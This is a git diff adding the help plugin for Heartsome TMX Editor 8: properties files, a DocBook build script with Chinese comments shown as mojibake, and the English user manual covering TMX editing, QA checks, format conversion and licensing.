b/te/net.heartsome.cat.te.ui.help/html/zh/images/set_3.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/tool_new.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/tool_new.png new file mode 100644 index 0000000..f7872fd Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/tool_new.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/trans_1.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/trans_1.png new file mode 100644 index 0000000..b5b7a81 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/trans_1.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/trans_2.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/trans_2.png new file mode 100644 index 0000000..a9527eb Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/trans_2.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/trans_code.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/trans_code.png new file mode 100644 index 0000000..c8473aa Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/trans_code.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/trans_docx.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/trans_docx.png new file mode 100644 index 0000000..b9422fa Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/trans_docx.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/trans_tbx.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/trans_tbx.png new file mode 100644 index 0000000..38ce8fb Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/trans_tbx.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/trans_txt.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/trans_txt.png new file mode 100644 index 0000000..c0fd262 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/trans_txt.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/trans_xlsx.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/trans_xlsx.png new file mode 100644 index 0000000..d1c74cd Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/trans_xlsx.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/view_QA.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/view_QA.png new file mode 100644 index 0000000..2973720 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/view_QA.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/view_attr.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/view_attr.png new file mode 100644 index 0000000..527b391 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/view_attr.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/view_edit.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/view_edit.png new file mode 100644 index 0000000..cdfa9cd Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/view_edit.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/view_main.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/view_main.png new file mode 100644 index 0000000..ce5ca0e Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/view_main.png differ diff --git a/te/net.heartsome.cat.te.ui.help/img/splash.bmp b/te/net.heartsome.cat.te.ui.help/img/splash.bmp new file mode 100644 index 0000000..99c9121 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/img/splash.bmp differ diff --git a/te/net.heartsome.cat.te.ui.help/plugin.properties b/te/net.heartsome.cat.te.ui.help/plugin.properties new file mode 100644 index 0000000..c6404fc --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/plugin.properties @@ -0,0 +1,12 @@ +# properties file for locale [zh] +help.toc.index = toc/zh/indexToc.xml +help.toc.newFetureToc = toc/zh/newFetureToc.xml +help.toc.useTmxEditorToc = toc/zh/useTmxEditorToc.xml +help.toc.editTmxToc = toc/zh/editTmxToc.xml +help.toc.editTMToc = toc/zh/editTMToc.xml +help.toc.searchAndFilterToc = toc/zh/searchAndFilterToc.xml +help.toc.QAToc = toc/zh/QAToc.xml +help.toc.toolsDesToc = toc/zh/toolsDesToc.xml +help.toc.aboutToc = toc/zh/aboutToc.xml +help.toc.termTableToc = toc/zh/termTableToc.xml +help.toc.copyrigthToc = toc/zh/copyrigthToc.xml \ No newline at end of file diff --git a/te/net.heartsome.cat.te.ui.help/plugin.xml b/te/net.heartsome.cat.te.ui.help/plugin.xml new file mode 100644 index 0000000..a6320e4 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/plugin.xml @@ -0,0 +1,68 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/te/net.heartsome.cat.te.ui.help/plugin_en.properties b/te/net.heartsome.cat.te.ui.help/plugin_en.properties new file mode 100644 index 0000000..4398fdd --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/plugin_en.properties @@ -0,0 +1,12 @@ +# properties file for locale [en] +help.toc.index = toc/en/indexToc.xml +help.toc.newFetureToc = toc/en/newFetureToc.xml +help.toc.useTmxEditorToc = toc/en/useTmxEditorToc.xml +help.toc.editTmxToc = toc/en/editTmxToc.xml +help.toc.editTMToc = toc/en/editTMToc.xml +help.toc.searchAndFilterToc = toc/en/searchAndFilterToc.xml +help.toc.QAToc = toc/en/QAToc.xml +help.toc.toolsDesToc = toc/en/toolsDesToc.xml +help.toc.aboutToc = toc/en/aboutToc.xml +help.toc.termTableToc = toc/en/termTableToc.xml +help.toc.copyrigthToc = toc/en/copyrigthToc.xml \ No newline at end of file diff --git a/te/net.heartsome.cat.te.ui.help/plugin_zh.properties b/te/net.heartsome.cat.te.ui.help/plugin_zh.properties new file mode 100644 index 0000000..c6404fc --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/plugin_zh.properties @@ -0,0 +1,12 @@ +# properties file for locale [zh] +help.toc.index = toc/zh/indexToc.xml +help.toc.newFetureToc = toc/zh/newFetureToc.xml +help.toc.useTmxEditorToc = toc/zh/useTmxEditorToc.xml +help.toc.editTmxToc = toc/zh/editTmxToc.xml +help.toc.editTMToc = toc/zh/editTMToc.xml +help.toc.searchAndFilterToc = toc/zh/searchAndFilterToc.xml +help.toc.QAToc = toc/zh/QAToc.xml +help.toc.toolsDesToc = toc/zh/toolsDesToc.xml +help.toc.aboutToc = toc/zh/aboutToc.xml +help.toc.termTableToc = toc/zh/termTableToc.xml +help.toc.copyrigthToc = toc/zh/copyrigthToc.xml \ No newline at end of file diff --git a/te/net.heartsome.cat.te.ui.help/scripts/.cvsignore b/te/net.heartsome.cat.te.ui.help/scripts/.cvsignore new file mode 100644 index 0000000..53752db --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/scripts/.cvsignore @@ -0,0 +1 @@ +output diff --git a/te/net.heartsome.cat.te.ui.help/scripts/.gitignore b/te/net.heartsome.cat.te.ui.help/scripts/.gitignore new file mode 100644 index 0000000..16be8f2 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/scripts/.gitignore @@ -0,0 +1 @@ +/output/ diff --git a/te/net.heartsome.cat.te.ui.help/scripts/convert.sh b/te/net.heartsome.cat.te.ui.help/scripts/convert.sh new file mode 100644 index 0000000..a27f328 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/scripts/convert.sh @@ -0,0 +1,104 @@ +#!/bin/bash + +script_name=$0 +err_msg1="å‚æ•°é”™è¯¯ï¼Œè¯·æŒ‡å®šæ­£ç¡®çš„è¾“å‡ºæ ¼å¼ chunk|rtf|html|pdf 和语言 zh|en å‚数。" +err_msg2="举例一,输出中文 HTML(分页):$script_name chunk zh" +err_msg3="举例二,输出英文 RTF:$script_name rtf en" +err_msg4="举例三,输出中文 HTML(å•ä¸ªï¼‰ï¼š$script_name html zh" +err_msg5="举例四,输出英文 PDF:$script_name pdf en" + +# 判断输入å‚数是å¦æ­£ç¡® +if [ $# -ne 2 ] +then + echo $err_msg1 + echo $err_msg2 + echo $err_msg3 + echo $err_msg4 + echo $err_msg5 + exit 1 +fi +format=$1 +if [ "$format" != chunk ] && [ "$format" != rtf ] && [ "$format" != html ] && [ "$format" != pdf ] +then + echo $err_msg1 + echo $err_msg2 + echo $err_msg3 + echo $err_msg4 + echo $err_msg5 + exit 1 +fi +lng=$2 +if [ "$lng" != zh ] && [ "$lng" != en ] +then + echo $err_msg1 + echo $err_msg2 + echo $err_msg3 + echo $err_msg4 + echo $err_msg5 + exit 1 +fi + +# -CHANGEME- 请改为您本机的工作空间 (CVS) 或代ç ä»“库 (Git) 路径 +ws_path=/Volumes/iMac-User/Projects/hsgit/translation-studio/ts +# -CHANGEME- 请改为您本机的 FOP å¯æ‰§è¡Œæ–‡ä»¶è·¯å¾„ +fop_path=/usr/share/xml/docbook/fop/fop +# -CHANGEME- 请改为您本机的 FOP 字体é…置文件路径 +fop_xconf_path=/usr/share/xml/docbook/fop/conf/fop.xconf + +# 若无特殊情况(如修改了æ’件ã€åŒ…å或目录结构),以下路径å¯ä»¥ä¸å¿…修改 +plugin_name=net.heartsome.cat.ts.ui.help +src_path=src/net/heartsome/cat/ts/ui/help/docbook +html_path=html +output_dir=scripts/output +# DocBook XML 文件åå‰ç¼€ã€åŒæ—¶ä¹Ÿä½œä¸ºè¾“出文件的 +db_xml_prefix=te8help_ +chunk_xsl=chunk.xsl +fop_xsl=fop.xsl +html_xsl=html.xsl + +# æ ¹æ®è¯­è¨€å‚数拼出完整文件路径 +db_xml_path=$ws_path/$plugin_name/$src_path/$lng/$db_xml_prefix$lng.xml + +if [ "$format" = chunk ] +then + # 分页 HTML 以目录为输出ã€ä½¿ç”¨ä¿®æ”¹è¿‡çš„ XSL æ ·å¼è¡¨ + output_path=$ws_path/$plugin_name/$html_path/$lng/ + xsl_path=$ws_path/$plugin_name/$src_path/xsl/$chunk_xsl +elif [ "$format" = html ] +then + # å•ä¸ª HTML 以文件为输出ã€ä½¿ç”¨å®šä¹‰äº† UTF-8 ç¼–ç çš„æ ·å¼è¡¨ + output_path=$ws_path/$plugin_name/$output_dir/$lng/$db_xml_prefix$lng.$format + xsl_path=$ws_path/$plugin_name/$src_path/xsl/$html_xsl +else + # RTF å’Œ PDF 使用定义了中文字体的 FOP æ ·å¼è¡¨ + output_path=$ws_path/$plugin_name/$output_dir/$db_xml_prefix$lng.$format + xsl_path=$ws_path/$plugin_name/$src_path/xsl/$fop_xsl +fi + +echo æºæ–‡ä»¶ï¼š +echo $db_xml_path +echo æ ·å¼è¡¨ï¼š +echo $xsl_path +echo 输出到: +echo $output_path + +echo '以上信æ¯æ­£ç¡®å—?Y/n' +read confirm +#if [ "$confirm" = y ] || [ "$confirm" = Y ] || [ "$confirm" = Yes ] || [ "$confirm" = yes ] || [ "$confirm" = YES ] +if [ "$confirm" != n ] && [ "$confirm" != N ] && [ "$confirm" != No ] && [ "$confirm" != no ] && [ "$confirm" != NO ] +then + echo 开始转æ¢... + if [ "$format" = chunk ] || [ "$format" = html ] + then + # 使用 xsltproc 工具输出 HTML 文件 + xsltproc --xinclude --output $output_path $xsl_path $db_xml_path + elif [ "$format" = rtf ] || [ "$format" = pdf ] + then + # 使用 fop 工具输出 RTF 文件 + $fop_path -c $fop_xconf_path -xml $db_xml_path -xsl $xsl_path -$format $output_path + fi +else + echo å·²å–消转æ¢ã€‚ + exit 0 +fi +exit 0 diff --git a/te/net.heartsome.cat.te.ui.help/scripts/te8_help_en.xml b/te/net.heartsome.cat.te.ui.help/scripts/te8_help_en.xml new file mode 100644 index 0000000..2ec6f64 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/scripts/te8_help_en.xml @@ -0,0 +1,1869 @@ + + + + TMX Editor 8 User Manual + + + + TMX Editor + 8 + + 2013-10-31 + + + + Welcome to Heartsome TMX Editor 8 + + + + + + + + What's new in + Heartsome TMX Editor 8 + + Getting Started + + Getting Started + + Settings + + System Preferences + + Custom Shortcuts + + Network Connection Settings + + View + + Views + + Change UI + + Editing View + + QA View + + Attributes Editor View + + Editing TMX files + + Create a standard TMX + + + Editing multilingual TMX + files + + How to handle multilingual TMX + files + + Editing the source text and + translation + + Editing TU attributes + + Editing translation unit comments + + + TMX Advanced Editing + + Split and merge TMX files + + Change language code + + Delete the specified + language + + Delete all tags + + Clean up TMX redundant + content + + Editing a Heartsome Translation Studio 8 + TM + + How to + connect to a TM + + Support for multilingual TM + editing + + How to handle multilingual + TM + + Edit the source text and the + translation + + Edit TU attributes + + Edit comments of translation + units + + Cleaning up TM redundant content + + Search and Filter + + Keyword search + + Filter + + Customizing filters + + QA + + Selecting QA check items + + Performing QA and generating QA + reports + + How to correct errors from the QA + report + + Utilities + + Converting TMX files to other file + formats + + Converting other file formats to + TMX + + File encoding converter + + Version and License + + Version Introduction + + About Licensing + + How to activate the product + + How to deactivate the + product + + Glossary + + Copyright + + + + What's new in Heartsome TMX Editor 8 + + The following is a complete list of new features in this + release: + + + + High-performance TMX editing and + maintenance + + + + Conversion of TMX to and from other file + formats + + + + TMX QA + + + + Editing and maintenance of Heartsome + Translation Studio 8 TMs + + + + Redundant contents cleanup of TMX and + Heartsome Translation Studio 8 TM + + + + + + High performance TMX editing and maintenance + + + TMX source text and translation editing + + TU attributes editing + + TU comments editing + + Keyword search + + Built-in filters + + + + + Conversion TMX to and from other file formats + + + Conversion of TMX to DOCX / XLSX / TXT / TBX / HSTM + + Conversion of DOCX / XLSX / TXT / TBX / HSTM to TMX + + + + + TMX QA + + + Extensive QA checks + + QA reports + + Work directly with QA results + + + + + Editing and maintenance of Heartsome Translation Studio 8 + TM + + + TM editing of both source text and translation + + TU attributes editing + + TU comments editing + + Keyword search + + Built-in filters + + + + + Redundant contents cleanup of TMX and Heartsome Translation + Studio 8 TM + + + Built-in batch cleanup of redundant content + + + + + + + Getting Started + + The following tells you how to get started with and configure + Heartsome TMX Editor 8. + + + + Getting Started + + + This introduces you to Heartsome Translation Studio 8 TM and + shows you how to quickly edit TMX files. + + + + To quickly edit a TMX file: + + + 1. Select File > Open TMX, then select a TMX file from + the pop-up dialog box. + + 2. After your TMX file is open in the editor, click any + cell to edit. + + 3. Every time you click on a segment, the Attributes + Editor panel will display the attribute information of the + currently selected segment. You can edit attribute information using the + Add/Edit/Delete button. + + 4. When you edit the TMX, remember to click on + the + + + + button or press CTRL + S to save your + changes. But even without doing this, your changes will not be + lost because they are cached. + + 5, Any changes to attributes will be saved automatically + without you having to save them manually. + + + + To quickly edit a Heartsome + Translation Studio 8 TM + + 1. Select File > Connect to TM, then select a TM + type. + + When you select a File-based TM, you can browse to the + directory where TM is saved. When you select a Server-based TM, + you will have to enter the IP address, port, username, password + etc., to connect to your desired server-based TM + + 3. You can edit the connected Heartsome TM in the same way + as editing a TMX file. + + Changes to a Heartsome TM will be saved in real time, + without having to manually save. + + + + + + + System Parameter Setting + + + In System settings, you can + set the frequency of Auto Update, + and change the User Interface + Language, Fonts and your + current Username. + + + + Auto Update: Use this to + periodically check for updates on Heartsome's server. + + + + User Interface Language: + English and Simplified Chinese UIs are available. + + + + Username:Your username is + used as the default changeid for TUsin TMX files. + + + + + + + Custom Shortcuts + + + You can customize shortcuts for any function. To do + this: + + 1. Click on the shortcut​ + field of the corresponding function to enter edit + mode + + + + . + + 2. Press your desired shortcut key combination on the + keyboard. + + 3. Click anywhere else in the interface to automatically exit + edit mode. + + 4. Click the Apply or OK button to save your changes. + + 5. If your customized shortcuts conflict with other shortcuts, + the conflicts will be highlighted in red + + + + . + + + + + Network Connection Settings + + + In the Network Connection settings, you can configure a proxy + server for your Internet connection. Choose one of the following + proxy server configurations according to your actual + situation: + + + + System default proxy:If + the proxy server has been configured in your operating system, + select the Native option. + + + + Custom + proxy:If you want to set up a proxy server + specifically for Heartsome TMX Editor 8, select the Manual + option. Then Click the proxy server type (HTTP, HTTPS or SOCKS) + under the Proxy entries, then + enter the proxy host address and port. You may need to enter a username and password depending on whether your proxy + server requires authentication. + + In addition, you can also set some exceptions for host addresses. When you + access these host addresses, the software will connect to them + directly without the proxy server. The + exceptions usually include your + machine (localhost or 127.0.0.1) and LAN (192.168.*.*). + + + + + + + About Views + + + Heartsome TMX Editor 8 contains the following views: + + + + + + + + + + Toolbar: Here you can find some shortcuts for commonly + used functions. You can also use the corresponding shortcut keys + to perform related functions. + + + + Search and QA: Here you can find a keyword search and TMX + QA in two tabs. + + + + Source and translation editor: This is the main editing + area where you can edit the source text and translations. + + + + Attribute editor: Here you can edit all the TU + attributes. + + + + + + + Change UI + + + Select Tools > Options > System, then go to the User + Interface Language field to change the UI. + + + + + Editing View + + + The Edit View consists of two views, one is Search and Filter, + and the other is the Editor. In the Search and Filter panel, you can + switch languages (if available) and search for keywords throughout + the TMX. You can also filter specific segments with the built-in and + customized filter. + + + + + + Note: The Search panel and Filter + panel function are independent from each other. + + + + + + + + + + Search: Here you can + switch languages and perform keyword searches. + + + + Filters: Choose between + built-in filters and custom filters. + + + + Editor: This the editing + area of the TMX. + + + + + + + QA View + + + The QA View consists of the QA Options and QA Results panels. + Double-clicking on QA result takes you straight to the relevant line + in the editor. + + + + + + + + + + + Attributes Editor View + + + In this panel, you can edit a TU's system attributes, custom + attributes, language-specific attributes and comments. The four + attributes groups are located in four different forms for viewing + and editing. + + + + + + + + + + + How to create a standard TMX + + + 1. Select File > New TMX File, click the + + + + button or press Ctrl + N to open the New TMX + File dialog box. + + 2. Select "Save path", then set the source language and target + language for the new TMX. Click the OK button to complete the TMX + file creation. + + 3. Once the TMX has been successfully created, it will open, + but the TMX will be empty. You have to enter content according to + the TMX standard. + + + + + How to handle multilingual TMX files + + + Heartsome TMX Editor 8 supports multilingual TMX files. You + can switch languages at any time for viewing and editing. + + 1. Open the multilingual TMX files. + + 2. As descripted in the Editor + View section above, you can switch source and target + languages as needed. + + + + + + + + 3. Click the Search button to display the content of your + selected language pair. + + + + + + + Edit the source + text and the translation + + To enter editing mode, you can just click a source or target + cell. Once you have finished editing, remember the following + points: + + + + If you click in another location, the software will + automatically cache the changes, but these changes will not be + saved to the original TMX file (excluding Heartsome Translation + Studio 8 TM). The cached content will not be lost if you forget to + save. + + + + After editing, click + + + + + + + + fèŒƒå¾·è¨ æ’’æ—¦æ³•å€’è¨dsa sda + + + + or press CTRL + s to save changes to + your original TMX files. + + + + + + Edit TU + attributes + + When you want to make changes to TU attributes, you can do this + in the following ranges: "Currently selected row", "All filtered + results" and "Whole file/TM". Read on for further details: + + + + Editing TU system + attributes + + + + + + Special + note:For system attributes, only attribute values can + be edited. + + 1. To edit system attribute values: Select the attribute row + you want to edit, click the + + + + button. In the pop-up dialog box, edit the + attribute value, then click OK to finish editing. + + 2. To delete system attribute values: Select the attribute + row with the value you want to delete, click the + + + + + button to delete the value. + + + + Editing TU custom + attributes + + + + + + Special + note:For custom attributes, you can add, edit and + delete attribute names and their values. + + 1. To add custom attributes: Select any row in the Custom + Attributes panel, then click the + + + + button, In the pop-up dialog box, enter a + custom attribute name and attribute value, then click OK to + complete the operation. + + 2. To edit custom attributes: Select any row in the Custom + Attributes panel, then click the + + + + button, In the pop-up dialog box, enter a + custom attribute name and attribute value, then click OK to + complete the operation. + + 3. To delete custom attributes: Select any row in the Custom + Attributes panel, then click the + + + + Button to delete. + + + + To edit language-specific attributes: + + + Editing language-specific attributes is the same as editing system attriubute. + + + + + + Editing TU comments + + 1. To add a comment: Select any row in the Comments panel, Click + the + + + + button. In the pop-up dialog box, enter the + comment. Then click OK to complete the operation. + + 2. To edit a comment: Select any row in the Comments panel, + Click the + + + + button. In the pop-up dialog box, enter the + comment. Then click OK to complete the operation. + + 3. To delete a comment: Select any row in the Comments panel, + Click the + + + + Button to delete. + + + + + + Split and merge TMX + + + The Split and merge feature provide a way for several people + working together to edit a TMX file. + + + + To split TMX + + 1. Select Edit > Split TMX. The Split TMX dialog box + will open. + + 2. Specify the number of subfiles. + + 3. Select the TMX file to be split. + + 4. Set a save path for the subfiles. If you checked + Original File Path, the subfiles will be kept in the directory + where the master TMX file is located. If you checked "Save as", + the subfiles be placed in the specified directory. + + + + To merge TMX + + 1. Select Edit > Merge TMX. The Merge TMX dialog box + will open. + + 2. Click the Add button to add the subfiles to the + list. + + 3. Select the save path of the TMX to be merged. + + 4 Click the OK button to perform the merge. + + + + + + + Change Language Code + + + This feature can be used to change the language code of each + translation unit in the TMX file. + + 1. Select Edit > Change Language Code. The Change Language + Code dialog box will open. + + 2. Select the source and target language you want to + change. + + 3. Click on the OK button to complete the batch change. + + + + + Delete specified language + + + This feature can be used to delete a specific language (TUV) + from a TMX file. Note: You can not delete the + source language. + + 1. Select Edit > Delete Specified Language. The Delete + Specified Language dialog box will open. + + 2. Select one or more languages to be deleted. + + 3. Click the OK button to complete the deletion. + + + + + Delete all tags + + + This feature can be used to delete all tag information from a + TMX file. + + 1. Select Edit > Delete All Tags + + 2. Click OK to perform the operation. This operation cannot be + undone. + + + + + TMX redundant content cleanup + + + The following segments are regarded as redundant content: + untranslated segments, repetitions, inconsistent translations and + leading/trailing spaces. Heartsome TMX Editor 8 can batch delete + these segments. + + 1. Select Edit > Clean up TM. The Clean up TM dialog box + will open. + + 2. Select the redundant items you want to clean in the dialog + box. + + + + + + + + + + Delete untranslated segments:This deletes segments with no + translation. + + + + Delete repetitions (keep the latest instance): This + deletes a set of repetitions, but keeps the most recent + one. + + + + Delete inconsistency in target (keep the latest instance): + This deletes segments that have the same source text but a + different translation. The most recent one will be kept. + + + + Delete leading/trailing spaces: This deletes spaces at the + beginning or end of segments. + + + + 3. You can also check Ignore tags when finding + repetitions. + + 4. Perform the clean-up operations. + + + + + + + Edit Heartsome Translation Studio 8 TM + + Heartsome TMX Editor 8 is a dedicated editing tool for Heartsome + Translation Studio 8 TM. The following shows you how to use Heartsome TMX + Editor 8 to edit Heartsome Translation Studio 8 TMs. + + + + How to connect with TM + + + Heartsome Translation Studio 8 TM files are either file based or server + based. + + + + File-based TM + + 1. Select File > Connect to TM > File-based + TM. + + 2. Browse to Heartsome Translation Studio 8 TM + (.hstm). + + 3. Click the OK button, the editor will load all contents + of the TM. + + + + Server-based TM + + 1. Select File > Connect to TM > Server-based + TM. + + 2. Select the TM server type you want to connect + to. + + + + + + + + 3. Enter the IP address, port, username and password, then + click the Search button. + + + + + + + + 4. Once the TM is listed, select the one you want to edit, + then click the OK button. The contents of the TM will be + loaded. + + + + + + + + + + + + + How to handle multilingual TMX + + + 1. Heartsome Translation Studio 8 is a multilingual tool. When + a server-based TM is listed, + you can see the languages of each TM it contains in the Language + column. + + + + + + As you can see, the TM "bug2422" contains 3 + languages: "en-us", "zh" and "zh-hk". + + 2. When you open a multilingual TM, you can select the + language pair that you want to edit from the Source and Target + field. + + + + + + + + 3. Once this is done, click Search to load the contents of the + selected languages in the TM. + + + + + + + Editing the source text and translations + + + To enter editing mode, you can just click a source or target + cell. + + + + + Editing TU attributes + + + See TU attributes + editing + + + + + Editing TU comments + + + See TU comments + editing + + + + + Clean up TMX redundant content + + + See Clean up TMX redundant + content + + + + + + + Search and Filter + + Heartsome TMX Editor 8 offers search and filter functionality to + facilitate your TMX and TM maintenance. Read on for more details. + + + + Keyword search + + + You can search a loaded TMX and TM to filter out segments + thatcontain the keywords you have entered in the Source or Target + fields. + + + + + + + + + + + + + Filter + + + Select the built-in filters from the drop-down list under the + Filter to filter out the desired content. Your customized filters + also are listed here once you have added them from Customize Filters + + + + + + + + When you select built-in filters, you may also check Ignore case and Ignore + tags to get more results. + + + + + + Special note:Keyword searching and + built-in filters are not interrelated. + + + + + Customize filters + + + The program provides you with flexible custom filters allowing + you to set filter conditions according to your needs. You may + enable or disable them. + + To customize filters: + + 1. Click on the + + + + button. The Custom Filter dialog box will + open. + + + + + + + + 2. Click the New button. The Add Filter Rule dialog box will + open. + + + + + + + + + + Filter name:This is the + name of your filter. When it is enabled, it will be listed in + the Filters drop-down. + + + + Combination of + conditions: Meet all of the following conditions or + one of the following conditions. + + + + Custom content: You can + set conditions for source, translation, comments, system + attributes and custom attributes. + + + + Operator: Operators + include Contains, Excludes, Equals and Not Equal To. + + + + You may add more conditions or delete any condition. + + When you finish creating the filter, the filter will be listed + on Customize Filter dialog box, where you can check the filter to + enable it from Enable column. + + Example: The customized filter “Kevin创建的å¥å­â€ is listed under + the Filter. + + + + + + + + + + + + + QA + + Heartsome TMX Editor 8 provides you with QA functionality for TMX + files by generating a QA report and allowing you to edit TMX files based + on QA results. + + + + Select QA check items + + + Heartsome TMX Editor 8 now provides six QA check options in + QA view: + + + + + + + + + + Tag consistency: This checks whether there are the same + number of tags in the source as in the translation. + + + + Numeral consistency: This checks whether the numerals in + the source also exist in the translation. + + + + Leading/trailing spaces: This checks whether the spaces at + the beginning/end of the source text also appear in the + translation. + + + + Untranslated: There checks whether there are any + untranslated segments. + + + + Target same as source: This checks whether the translated + text is the same as the source. + + + + Inconsistency in target: This checks whether there are + multiple segments with the same source text but with different + translations. + + + + Inconsistency in source:This checks whether there are + multiple segments with the same translated text but with + different source text. + + + + + + + Perform QA and generate QA reports + + + 1. When selecting QA items to check, you may also check Ignore case and Ignore tags. + + + + + + + + 2. Click the Perform button. The software will open the QA + results view. + + + + + + + + + + + Correcting errors directly from the QA report + + + When you double-click any error message in the QA results, you + will be automatically taken to the corresponding row in the Editor, then you can correct the + error in this row. + + + + + + + Utilities + + Heartsome TMX Editor 8 provides several useful tools for converting + and maintaining your TMX files. + + + + Conversion TMX to other file formats + + + Heartsome TMX Editor 8 supports batch conversion of TMX to DOCX, XLSX, TXT, + TBX and HSTM (Heartsome Translation Studio 8 file-based TM). + + + + + + + + + + To do this: + + 1. Select Tools > Convert TMX to Specified + Formats. + + 2. Click the Add button to add TMX files for conversion. + You can also click the Remove button to delete added TMX + files. + + 3. Select the file type from the Convert to field. + + 4. When you select Convert to Heartsome file-based TM + (*.hstm), you may also check Include attributes, i.e., also add + the TU attributes to the *.hstm during conversion. + + 5. Select your desired save + path. + + 6. Click the OK button to perform the conversion. + + + + Description of + file types available for conversion: + + + + DOCX files: + + + + + + + + Description:The first column is the source language, + the second is the target language. If the TMX file is + multilingual, the third language will be listed in the third + column, and so on + + + + XLSX files: + + + + + + + + Description:The first column is the source language, + the second is the target language. If the TMX file is + multilingual, the third language will be listed in the third + column, and so on + + + + TXT files: + + + + + + + + Description:All languages are separated by a tab + character. + + + + Standard TBX + files: + + + + + + + + + + HSTM files: + + A HSTM file is a Heartsome Translation Studio 8 + file-based TM. + + + + + + + + + Convert specified format to TMX + + + This feature is used to convert DOCX, XLSX, TXT, TBX and HSTM + files to standard TMX files. + + + + + + + + + + To do this: + + 1. Select Tools > Convert Specified Format to + TMX + + 2. Click the Browse button to select an external file to + be converted. + + 3. Choose whether to Add custom attributes. + + 4. Set up way of conversion.1) Convert to a new TMX.2) + Append the contents to the selected TMX. In this case, you have + to select a TMX file before conversion. + + 5. Choose whether to open the TMX file after + conversion. + + 6. Click the OK button to perform the conversion. + + + + The + specification of source file format + + The source file format is the same as the file format + descripted in the "Description of + file types available for conversion" section, which can + be multilingual and its first + line must be filled with language code. + + + + + + + + Special note:This feature currently + only supports single external file conversion. if you have more than + one external files needing conversion, you can choose one of the + following two methods: + + 1) Put the contents of all files into one file. + + 2) Run the conversion one by one, and check Append to current TMX file. + + + + + File encoding converter + + + The Encoding Converter provides you with a text file encoding conversion tool. When you + load a TMX in Heartsome TMX Editor 8, it will convert the encoding + of the TMX to UTF-8. Once you have finished editing, you may have to + use this tool to convert the UTF-8 encoding of the TMX to an + encoding supported by your translation software. + + + + + + + + + + To make encoding + conversion: + + 1. Select Tools > Encoding Converter. The Convert TMX + Encoding dialog box will open. + + 2. Click Browse to select the source TMX file. The program + will detect the encoding of the TMX automatically. You may + change the encoding by selecting a encoding from the dropdown in + the Source file encoding field. + + 3. Select a save path and name for the converted + file. + + 4. Select Target file encoding. + + 5. Click the Convert button to perform the + conversion. + + + + + + + + + Version and License + + + + Version Introduction + + + The following Heartsome TMX Editor 8 versions are + available: + + + + Free Version + + + + Trial Version + + + + Paid Version + + + + + + Free Version + + + Regarding functionally, the Free Version is the same as + the Paid Version, but the number of TMX TUs you can edit in + the Free Version is limited to 10,000. + + + + + Trial Version + + + The Trial version is valid for 3 months, without any + restrictions. After the trial period expires, it will + automatically change to the Free version, which can be used + permanently. + + + + + Paid Version + + + This is a version that has been activated with a + Heartsome business license. When you purchase a commercial + license, you can directly upgrade your Free Version or Trial + Version to the Paid Version + + + + + + + + How to apply for a trial and purchase a license + + + + + Apply for a trial: + + 1. Go to https://Lic.heartsome.net/webbuy/r8trial.jsp + to apply for a trial. + + 2. Enter your name, email address and other optional + information. + + 3. Once the request form has been submitted, the system + will automatically send a trial license to your email + address. + + + + Purchase a + license: + + 1. Go to https://lic.heartsome.net/webbuy/r8buy.jsp + + 2. Enter your name, email address and other optional + information. + + 3. Select the type and version of the product to be + purchased, and enter the quantity. + + 4. Click the Submit button again to + confirm that the order information is correct. Then click on the + Pay via Paypal button and make the + payment according to the prompts. + + 5. After successful payment, our license server will + automatically send your license(s) to your email address. + + + + + + + How to activate a license + + + To enable the Trial Version and Paid Version, you have to + activate them first. Heartsome TMX Editor 8 provides two optional + activation methods, one is Online Activation (recommended) and the + other is Offline Activation. The following describes the two + activation methods: + + + + Online activation: + + In the License Management + dialog box, copy the license number from the email and paste it + into the first text field. + + + + + + + + 2. Make sure you are connected to the network. If you + connect to the Internet through a proxy server, click the Network Connections button to open + the settings interface. + + 3. Click the Activate button. + + If no error occurs, it will inform you that the software + has been successfully activated. When you re-open and go to Help + > License Management, the license status should have changed + 